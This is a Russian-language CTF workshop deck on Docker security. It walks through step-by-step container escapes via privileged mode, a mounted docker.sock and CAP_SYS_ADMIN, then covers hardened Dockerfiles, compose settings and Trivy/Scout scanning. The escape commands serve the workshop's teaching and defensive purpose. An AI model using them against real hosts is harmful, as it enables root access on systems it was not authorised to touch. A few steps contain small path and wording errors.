

# Побег из докер-контейнера

CTF Workshop

Образовательный воркшоп по безопасности контейнеров

# План воркшопа

1. Реальные инциденты - 10 мин

2. Векторы атаки - 20 мин

- Privileged контейнеры
- Docker socket escape
- CAP\_SYS\_ADMIN побег

3. Лучшие практики для защиты - 15 мин

4. Инструменты диагностики (Trivy/Scout) - 15 мин

# Для кого этот воркшоп?

## Целевая аудитория:

- DevOps / SRE инженеры** - работаете с Docker в production
- Backend разработчики** - пишете Dockerfile и docker-compose
- Junior Security Engineers** - хотите понять container security
- Студенты DevSecOps** - нужен практический опыт

**Уровень:** Intermediate (базовые знания Docker требуются)

## Что получите:

- Понимание реальных векторов атак на контейнеры
- Практический опыт побега из контейнеров
- Навыки сканирования образов (Trivy/Scout)
- Готовые примеры безопасных конфигураций

## Prerequisites: Что нужно знать?

Вопрос к аудитории: Кто из вас запускал Docker контейнеры? 

Docker за 30 секунд (если вы не уверены):

```
# Docker = платформа для запуска приложений в изолированных контейнерах
docker pull ubuntu          # Скачать образ (шаблон)
docker run -it ubuntu bash  # Запустить контейнер (экземпляр)
docker ps                   # Список запущенных контейнеров
docker exec -it <id> bash   # Подключиться к контейнеру
```

Образ = шаблон с ОС и приложением | Контейнер = запущенный процесс из образа

## Введение: Что такое контейнер?

- Изолированное окружение для запуска приложений
- Использует namespaces и cgroups ядра Linux
- Не полная виртуализация - разделяет ядро с хостом
- Изоляция ≠ безопасность по умолчанию

```
docker run -it ubuntu:latest /bin/bash
```

# Реальные инциденты

## Реальные инциденты

Tesla Kubernetes (2018)  [CNBC: Tesla cryptomining hack](#)

- Незащищенная Kubernetes консоль без пароля
  - Злоумышленники развернули криптомайнеры
  - Доступ к AWS credentials из контейнеров
-  Панель управления контейнерами Tesla была доступна из интернета без пароля — любой мог зайти и запустить свой код на серверах компании

## Graboid Worm (2019) Palo Alto Unit 42: Graboid worm

- Первый worm для Docker
  - Сканировал интернет на открытые Docker API (порт 2375)
  - Запускал контейнеры с криптомайнерами
  - ~2000 хостов заражено
-  Docker имеет API для удаленного управления. Многие оставляли его открытым в интернет — червь автоматически находил такие серверы и заражал их

## Docker Hub Breach (2019) [SecurityWeek: Docker Hub Breach](#)

- Компрометация 190,000 аккаунтов
  - Утечка токенов GitHub и Bitbucket из образов
  - Проблема: разработчики хранили секреты в образах
-  Взломали базу данных Docker Hub (главного репозитория образов).

Получили доступ к паролям и токенам для GitHub — теперь злоумышленники  
МОГЛИ изменять код проектов жертв

## TeamTNT Campaign (2020-2023) Sysdig: TeamTNT Analysis | Unit 42: Hildegard Malware

- Крупнейшая кампания атак на контейнеры
- Эксплуатация открытых Docker API и Kubernetes
- Кража AWS credentials, криptomайнинг, backdoors
- >10,000 скомпрометированных систем

 **Простым языком:** Организованная группа хакеров несколько лет сканировала весь интернет в поисках неправильно настроенных контейнеров. Украденные AWS ключи давали доступ к облачным счетам компаний

**Вывод:** Неправильная конфигурация = реальная угроза

# Векторы атаки

## Вектор #1: Privileged контейнеры

Проблема: `--privileged` флаг отключает большинство защит

```
docker run --privileged -it ubuntu /bin/bash
```

Что получает атакующий:

- Доступ ко всем устройствам хоста ( `/dev` )
- Все Linux capabilities
- Возможность монтирования файловых систем

# Подготовка: Запуск заданий

Для организатора воркшопа:

```
# Задание 1: Privileged контейнер
echo "FLAG{pr1v1leged_m0de_danger}" > /root/flag.txt
docker run -it --privileged --name ctf-task1 ubuntu

# Задание 2: Docker socket
docker run -it -v /var/run/docker.sock:/var/run/docker.sock \
--name ctf-task2 docker:latest sh

# Задание 3: CAP_SYS_ADMIN
docker run -it --cap-add=SYS_ADMIN --name ctf-task3 ubuntu
```

## ✓ Задание 1: Побег через privileged режим

**Сценарий:** Вы получили доступ к контейнеру, запущенному с `--privileged`

**Цель:** Прочитать файл `/root/flag.txt` с хоста

**Пошаговый план:**

1. Установите утилиту для работы с дисками `apt-get update` `apt-get -y install fdisk`
2. Проверьте доступные диски: `fdisk -l`
3. Найдите основной диск хоста (обычно `/dev/sda1` или `/dev/vda1`)
4. Создайте точку монтирования: `mkdir /mnt/host`
5. Смонтируйте диск: `mount /dev/sda1 /mnt/host`
6. Теперь ФС хоста доступна: `cat /mnt/host/root/flag.txt`

## Вектор #2: Небезопасные монтирования

**Проблема:** Монтирование критичных директорий хоста

```
docker run -v /:/host -it ubuntu /bin/bash
docker run -v /var/run/docker.sock:/var/run/docker.sock
```

### Риски:

- Прямой доступ к файлам хоста
- Возможность управления Docker API
- Запуск новых привилегированных контейнеров

## ✓ Задание 2: Docker socket escape

**Сценарий:** В контейнере примонтирован `/var/run/docker.sock`

**Цель:** Получить shell на хосте с root правами

**Пошаговый план:**

1. Проверьте наличие socket: `ls -la /var/run/docker.sock`
2. Посмотрите запущенные контейнеры: `docker ps`
3. Запустите privileged контейнер с монтированием хост-системы:

```
docker run -it --privileged -v /:/host alpine chroot /host
```

4. Вы теперь root на хосте!

5. Найдите флаг: `cat /root/flag.txt`

6. Найдите новый контейнер на хосте

## Вектор #3: Misconfigured capabilities

Проблема: Излишние capabilities

Опасные capabilities:

- CAP\_SYS\_ADMIN - административные операции
- CAP\_SYS\_PTRACE - отладка процессов
- CAP\_SYS\_MODULE - загрузка модулей ядра
- CAP\_DAC\_READ\_SEARCH - обход проверок чтения

## Задание 3: CAP\_SYS\_ADMIN escape

```
# Запускаем контейнер с CAP_SYS_ADMIN (это ошибка конфигурации)
docker run -it --cap-add=SYS_ADMIN \
--security-opt apparmor=unconfined \
--security-opt seccomp=unconfined \
--name ctf-task3 ubuntu
```

## Задание 3: CAP\_SYS\_ADMIN escape

**Сценарий:** Контейнер запущен с `--cap-add=SYS_ADMIN`

**Цель:** Получить доступ к файловой системе хоста

**Пошаговый план:**

1. Смотрим какие диски видит контейнер `cat /proc/partitions`

2. Создаём device node для sda1 `mknod /dev/sda1 b 8 1`

3. Монтируем хостовую файловую систему `mkdir /mnt/host && mount /dev/sda1 /mnt/host`

4. Читаем флаг: `cat /root/flag.txt`

# Краткая сводка: 3 вектора побега

Вектор	Требования	Сложность	Защита
Privileged	--privileged флаг	Легко	Никогда не использовать
Docker socket	Мониторинг sock	Легко	Не мониторить без крайней необходимости
CAP_SYS_ADMIN	Capability SYS_ADMIN	Средне	--cap-drop=ALL , минимальные caps

**Общий паттерн:** Неправильная конфигурация → доступ к ресурсам хоста → escape

Суть защиты: даже если приложение взломают, контейнер должен быть настолько ограничен, что дальше двигаться некуда.

# Лучшие практики защиты

# ✗ Безопасный Dockerfile: Плохой пример

```
# ✗ НЕБЕЗОПАСНО
FROM ubuntu:latest

# Root пользователь по умолчанию
RUN apt-get update && apt-get install -y python3 curl

# Секреты в образе
ENV API_KEY="sk-1234567890abcdef"

# Установка всех пакетов
COPY requirements.txt .
RUN pip install -r requirements.txt

COPY app.py .

CMD ["python3", "app.py"]
```

**Проблемы:** latest тег, root, секреты в ENV, большой образ

# Безопасный Dockerfile: Хороший пример

```
# ✅ БЕЗОПАСНО
FROM python:3.11-alpine AS builder

WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir --user -r requirements.txt

# Multi-stage: минимальный финальный образ
FROM python:3.11-alpine

# Non-root пользователь
RUN addgroup -g 1000 appgroup && \
    adduser -D -u 1000 -G appgroup appuser

WORKDIR /app
COPY --from=builder --chown=appuser:appgroup /root/.local /home/appuser/.local
COPY --chown=appuser:appgroup app.py .

USER appuser

# Read-only filesystem
# Используйте: docker run --read-only --tmpfs /tmp myapp
CMD ["python3", "app.py"]
```

# Безопасный Dockerfile

Попробуем!

```
docker run -it --privileged --name ctf-task1 --user appuser:appuser ubuntu-unprivileged-user
```

1. Установите утилиту для работы с дисками `apt-get update` `apt-get -y install fdisk`
2. Проверьте доступные диски: `fdisk -l`

Уменьшение поверхности атаки — даже внутри контейнера непrivилегированный пользователь не может менять системные файлы, устанавливать пакеты, менять сетевые настройки.

# Безопасный Dockerfile: Лучшие практики

## Используйте:

- Конкретные теги версий ( `python:3.11-alpine` , не `latest` )
- Минимальные базовые образы ( `alpine` , `distroless` )
- Multi-stage builds для уменьшения размера
- Non-root пользователя
- `.dockerignore` для исключения чувствительных файлов

## Избегайте:

- `latest` тега
- Запуска от root
- Хранения секретов в образе (используйте secrets management)
- Установки ненужных пакетов

## ✓ docker-compose.yml: Хороший пример

```
services:  
  app:  
    image: myapp:1.2.3 # Конкретная версия  
    read_only: true # Read-only filesystem  
    tmpfs:  
      - /tmp  
    cap_drop:  
      - ALL  
    cap_add:  
      - NET_BIND_SERVICE # Только необходимые capabilities  
    security_opt:  
      - no-new-privileges:true  
    user: "1000:1000" # Non-root  
    volumes:  
      - ./data:/app/data:ro # Read-only монтирование  
    environment:  
      - DATABASE_HOST=db
```

# ✖ Все capabilities: Плохой пример

Пробуем!

```
# docker-compose.vulnerable.yml
services:
  vulnerable-app:
    image: alpine
    container_name: vulnerable-app
    command: sh -c "sleep infinity"
    # No capability restrictions - container has default ~14 capabilities
```

```
docker compose -f docker-compose.vulnerable.yml up -d

# Подключимся к консоли контейнера
docker exec -it vulnerable-app sh

# Проверим capabilities внутри контейнера
cat /proc/1/status | grep Cap

# Контейнер может изменить владельца файла (CAP_CHOWN)
touch /tmp/test
chown 1000:1000 /tmp/test
ls -la /tmp/test

# Контейнер может использовать привилегированный порт
# (CAP_NET_BIND_SERVICE)
apk add socat && socat TCP-LISTEN:80,fork STDOUT &
```

# ✓ Ограниченные capabilities: Хороший пример

```
# docker-compose.secure.yml
services:
  secure-app:
    image: alpine
    container_name: secure-app
    command: sh -c "sleep infinity"
    cap_drop:
      - ALL # Сначала отключаем всё
    cap_add:
      - NET_BIND_SERVICE # Включаем только то, что требуется
    security_opt:
      - no-new-privileges:true
```

```
docker compose -f docker-compose.secure.yml up -d

# Подключимся к консоли контейнера
docker exec -it secure-app sh

# Проверим capabilities внутри контейнера
cat /proc/1/status | grep Cap

# Контейнер НЕ может изменить владельца файла (CAP_CHOWN)
touch /tmp/test
chown 1000:1000 /tmp/test
ls -la /tmp/test

# Контейнер может использовать привилегированный порт
# (CAP_NET_BIND_SERVICE)
apk add socat && socat TCP-LISTEN:80,fork STDOUT &
```

# Инструменты диагностики

# Инструменты диагностики

## Зачем сканировать образы?

- Уязвимости в базовых образах и зависимостях
- Устаревшие пакеты с известными CVE
- Secrets и чувствительные данные в слоях
- Misconfiguration в Dockerfile

## Основные инструменты:

- **Trivy** - комплексный сканер (наш фокус)
- **Docker Scout** - встроенный инструмент Docker
- **Snyk, Anchore, Clair**

# Trivy: Универсальный сканер

## Что сканирует Trivy:

- Образы контейнеров (OS пакеты и зависимости приложений)
- Файловые системы и rootfs
- Git репозитории
- Kubernetes манифесты
- Terraform/CloudFormation

# Trivy: Практическое использование

## Сканирование образа:

```
# Базовое сканирование  
trivy image nginx:latest
```

```
# Только критичные и высокие уязвимости  
trivy image --severity CRITICAL,HIGH nginx:latest
```

```
# Вывод в JSON для автоматизации  
trivy image -f json -o results.json nginx:latest
```

```
# Игнорирование unfixed уязвимостей  
trivy image --ignore-unfixed nginx:latest
```

# Docker Scout: Встроенный анализ

## Интеграция с Docker:

```
# Анализ локального образа  
docker scout cves nginx:latest
```

```
# Сравнение с рекомендациями  
docker scout recommendations nginx:latest
```

```
# Быстрый обзор  
docker scout quickview nginx:latest
```

## Преимущества Scout:

- Встроен в Docker Desktop и CLI
- Интеграция с Docker Hub
- Рекомендации по обновлению базовых образов

## Dockle: Сканирование на best-practices

```
dockle ubuntu:latest
```

```
dockle ubuntu-unprivileged-user
```

# Методы защиты: Краткий чеклист

## Конфигурация контейнеров:

- Никогда не используйте `--privileged` в продакшене
- Минимизируйте capabilities: `--cap-drop=ALL`
- Не монтируйте docker.sock без необходимости
- Используйте read-only файловую систему где возможно

## Образы и обновления:

- Регулярно сканируйте образы (Trivy/Scout в CI/CD)
  - Используйте минимальные базовые образы (alpine, distroless)
  - Обновляйте Docker и образы
- Не храните секреты в образах

# Полезные инструменты

## Тестирование безопасности:

- [CDK \(Container Duck\)](#) - набор эксплойтов
- [botb](#) - автоматический поиск путей побега
- Docker Bench Security - CIS benchmark проверка

## Сканирование:

- Trivy - универсальный сканер
- Docker Scout - встроенный в Docker
- Grype, Snyk - альтернативы

# Ресурсы для дальнейшего изучения

## Документация и стандарты:

- [Docker Security Docs](#)
- [CIS Docker Benchmark](#)
- [OWASP Docker Security Cheat Sheet](#)

## Практика:

- HackTheBox - Docker escape challenges
- TryHackMe - Container Security room
- [Play with Docker](#) - песочница

## Инструменты:

# Заключение

## Ключевые выводы:

1. Контейнеры не являются безопасными по умолчанию
2. Privileged режим и docker.sock - критичные векторы атак
3. Capabilities требуют тщательной настройки
4. Регулярное сканирование образов обязательно (Trivy/Scout)
5. Defense in depth - используйте несколько уровней защиты

**Важно:** Все показанные техники только для легального тестирования в контролируемых окружениях!

**Спасибо за участие!**

**Вопросы и обсуждение**

**Практикуйтесь безопасно!**